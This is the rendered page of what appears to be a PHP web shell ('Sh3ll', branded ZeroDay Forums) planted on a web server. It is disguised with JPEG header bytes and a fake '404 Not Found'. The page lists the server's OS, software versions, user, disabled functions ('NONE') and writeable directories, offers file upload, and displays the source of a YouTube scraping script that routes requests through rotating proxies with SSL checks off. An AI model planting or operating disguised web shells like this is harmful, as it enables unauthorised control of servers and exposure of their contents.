ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/img.123vid.top/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/img.123vid.top/youtube.php
<?php
/*$id = $_GET['id'];
$url = 'https://www.youtube.com/watch?v='.$id;
$proxyauth = 'user:pass';
$proxy = '192.126.153.75';
$proxyPort = '3128';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
//proxy suport
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_PROXYPORT, $proxyPort);
//curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxyauth);
curl_setopt($ch, CURLOPT_PROXYTYPE, 'HTTP');
curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1);
//https
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
x-client-data: CJW2yQEIpbbJAQjBtskBCKmdygEYu7rKARiavsoB');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 100);
$output = curl_exec($ch);
if(curl_exec($ch) === false)
{
    echo 'Curl error: ' . curl_error($ch);
}
else
{
    echo 'Operation completed without any errors';
}
echo $output;
curl_close($ch);
exit();*/
?>
<?php
function curl_func($url) {
    $arr_proxy = array('108.186.244.41:3128',
'192.126.161.52:3128',
'192.126.153.163:3128',
'108.186.244.36:3128',
'192.126.161.104:3128',
'108.186.244.118:3128',
'69.147.248.251:3128',
'192.126.153.75:3128',
'108.186.244.56:3128',
'69.147.248.20:3128');
    $key_off = array_rand($arr_proxy);
    $proxy = $arr_proxy[$key_off];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Connection: keep-alive";
    $head[] = "Keep-Alive: 300";
    $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $head[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
x-client-data: CJW2yQEIpbbJAQjBtskBCKmdygEYu7rKARiavsoB');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_REFERER, 'https://translate.google.com.vn');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_PROXY, $proxy);
    //curl_setopt($ch, CURLOPT_INTERFACE, $ip);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));

    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
//home
$id = $_GET['id'];
$url_get = 'https://www.youtube.com/watch?v='.$id;
$content2 = curl_func($url_get);

$content2 = explode('window["ytInitialData"] =',$content2);
$content2 = explode('};',$content2[1]);
$content3 = $content2[0].'}';
$arr = json_decode($content3,true);
//video chi tiet
$detail['title'] = $arr['contents']['twoColumnWatchNextResults']['results']['results']['contents'][0]['videoPrimaryInfoRenderer']['title']['runs'][0]['text'];

$arr_des = $arr['contents']['twoColumnWatchNextResults']['results']['results']['contents'][1]['videoSecondaryInfoRenderer']['description']['runs'];
/*print_r($arr_des);
exit();*/
$detail['des'] = '';
$arr_tags=array();
foreach ($arr_des as $val){
    if(!empty($val['navigationEndpoint'])) {
        $href = $val['navigationEndpoint']['urlEndpoint']['url'];
        $href = str_replace('https://www.youtube.com/results?search_query=','https://123vid.top/?act=search&q=',$href);
        $href = str_replace('https://123vid.top/?act=search&q=%23','https://123vid.top/?act=search&q=',$href);
        $rel = 'nofollow';
        if(strpos($val['text'],'#')!==false && strpos($val['text'],'http')===false){
            $href = 'https://123vid.top/?act=search&q='.str_replace('#','',$val['text']);
            $arr_tags[] = str_replace('#','',$val['text']);
            $rel = '';
        }
        $detail['des'] .= '<a href="' . $href . '" target="_blank" rel="'.$rel.'">' . $val['text'] . '</a><br/>';
    }else{
        $detail['des'] .= $val['text'];
    }
}

$detail['user_name'] = $arr['contents']['twoColumnWatchNextResults']['results']['results']['contents'][1]['videoSecondaryInfoRenderer']['owner']['videoOwnerRenderer']['title']['runs'][0]['text'];
$arr_tags[] = $detail['user_name'];
$detail['chanel_id'] = $arr['contents']['twoColumnWatchNextResults']['results']['results']['contents'][1]['videoSecondaryInfoRenderer']['owner']['videoOwnerRenderer']['title']['runs'][0]['navigationEndpoint']['browseEndpoint']['browseId'];

$detail['publishedAt'] = $arr['contents']['twoColumnWatchNextResults']['results']['results']['contents'][0]['videoPrimaryInfoRenderer']['dateText']['simpleText'];

$detail['avatar'] = $arr['contents']['twoColumnWatchNextResults']['results']['results']['contents'][1]['videoSecondaryInfoRenderer']['owner']['videoOwnerRenderer']['thumbnail']['thumbnails'][2]['url'] ;

$detail['txt_tags'] = '';
$detail['keywords'] = $detail['des'];
if (!is_null($arr_tags)) {
    foreach ($arr_tags as $val) {
        $detail['txt_tags'] .= '<li><a href="https://123vid.top/?act=search&q=' . $val . '" title="' . $val . '" target="_blank">' . $val . '</a></li>';
    }
    $detail['keywords'] = implode(',', $arr_tags);
}
//video lien quan


//print_r($arr['contents']['twoColumnWatchNextResults']['secondaryResults']['secondaryResults']['results'][0]['compactAutoplayRenderer']['contents'][0]);
$arr_lienquan = $arr['contents']['twoColumnWatchNextResults']['secondaryResults']['secondaryResults']['results'];

$i=0;
foreach($arr_lienquan as $key=>$val){
    if($val['compactAutoplayRenderer']['contents'][0]['compactVideoRenderer']['videoId']!='') {
        $detail['related'][$key]['id_you'] = $val['compactAutoplayRenderer']['contents'][0]['compactVideoRenderer']['videoId'];
        $detail['related'][$key]['title'] = $val['compactAutoplayRenderer']['contents'][0]['compactVideoRenderer']['title']['simpleText'];
        $detail['related'][$key]['duration'] = $val['compactAutoplayRenderer']['contents'][0]['compactVideoRenderer']['lengthText']['simpleText'];
    }else {
        $detail['related'][$key]['id_you'] = $val['compactVideoRenderer']['videoId'];
        $detail['related'][$key]['title'] = $val['compactVideoRenderer']['title']['simpleText'];
        $detail['related'][$key]['duration'] = $val['compactVideoRenderer']['lengthText']['simpleText'];

    }
}
echo json_encode($detail);
exit();
print_r($detail);
exit();
echo $content2;
exit();




//home
$url_get = 'https://m.youtube.com/feed/trending?gl='.$country;
$day_time = date('H-d-m-Y');
$day_file_name = $country.'-'.$day_time;
$content2 = '';
if(!file_exists('cache/youtube/index-test-'.$day_file_name)){
    $content2 = curl_func($url_get);
    if(trim($content2)!='') {
        file_put_contents('cache/youtube/index-test-' . $day_file_name, $content2);
    }
}else{
    $content2 = file_get_contents('cache/youtube/index-test-'.$day_file_name);
}
$content2 = explode('window["ytInitialData"] =',$content2);
$content2 = explode(';',$content2[1]);
$arr = json_decode($content2[0],true);
foreach($arr['contents']['twoColumnBrowseResultsRenderer']['tabs'][0]['tabRenderer']['content']['sectionListRenderer']['contents'][0]['itemSectionRenderer']['contents'][0]['shelfRenderer']['content']['expandedShelfContentsRenderer']['items'] as $val){
    $arr_item['title'] = $val['videoRenderer']['title']['runs'][0]['text'];
    //$arr_item['ftitle'] = $func->format_string($arr_item['title']);
    $arr_item['id'] = $val['videoRenderer']['videoId'];

    $arr_item['img'] = '//i.ytimg.com/vi/' . $arr_item['id'] . '/mqdefault.jpg';
    $arr_item['duration'] = $val['videoRenderer']['lengthText']['simpleText'];
    $list[] = $arr_item;
}
print_r($list);
exit();
print_r($arr['contents']['twoColumnBrowseResultsRenderer']['tabs'][0]['tabRenderer']['content']['sectionListRenderer']['contents'][0]['itemSectionRenderer']['contents'][0]['shelfRenderer']['content']['expandedShelfContentsRenderer']['items'][0]);
exit();
echo $content2[0];
exit();
echo $content2;
exit();
include 'lib/simple_html_dom.php';
$html = str_get_html($content2);
$txt = $html->find('div#initial-data',0)->innertext;
$txt = trim(str_replace(array('<!--','-->'),array('',''),$txt));
echo $txt;
exit();
$txt = json_decode($txt,true);
print_r($txt);
exit();
echo $txt;
exit();
echo $content2;
exit();
?>
<!doctype html>
<html>
<head>
    <title>YouTube Search</title>
    <link rel="stylesheet" href="jwplayer/plyr/plyr.css">
</head>
<body>
<script>
    document.write(unescape('%3c%64%69%76%20%63%6c%61%73%73%3d%22%70%6c%79%72%5f%5f%76%69%64%65%6f%2d%65%6d%62%65%64%22%20%69%64%3d%22%70%6c%61%79%65%72%22%20%64%61%74%61%2d%70%6c%79%72%2d%70%72%6f%76%69%64%65%72%3d%22%79%6f%75%74%75%62%65%22%20%64%61%74%61%2d%70%6c%79%72%2d%65%6d%62%65%64%2d%69%64%3d%22%33%41%41%44%2d%39%4d%54%75%67%34%22%3e%3c%2f%64%69%76%3e'));
</script>
<div id="v-f-2">dqwdqdqwd qwdqwdqwd</div>
<button id="video-fullscreen">Full</button>
<!--<div class="plyr__video-embed" id="player">
    <iframe id="player_iframe" src="https://www.youtube.com/embed/h-s80VMj4vQ?autoplay=1&amp;html5=1&amp;controls=1&amp;showinfo=0&amp;rel=0&amp;modestbranding=0&amp;playsinline=1&amp;enablejsapi=1&amp;widgetid=1&amp;color=white&amp;origin=http://localhost:8080" allow="autoplay" frameborder="0" allowfullscreen></iframe>
</div>-->
<script>
    'use strict';
    document.addEventListener("DOMContentLoaded", (event) => {
        const player = new Plyr("#player", {
            "playsinline" : true,
            "autoplay" : true,
            "clickToPlay" : true,
            "debug" : true,
            "loop" : {
                "active" : false
            }
        });
    setTimeout(function() {
        player.on("ready", function(event) {
            player.play();
            player.fullscreen.enter();
        });
    }, 1000);
    });
</script>
<script src="jwplayer/plyr/plyr.min.js"></script>

</body>
</html>

ZeroDay Forums Mini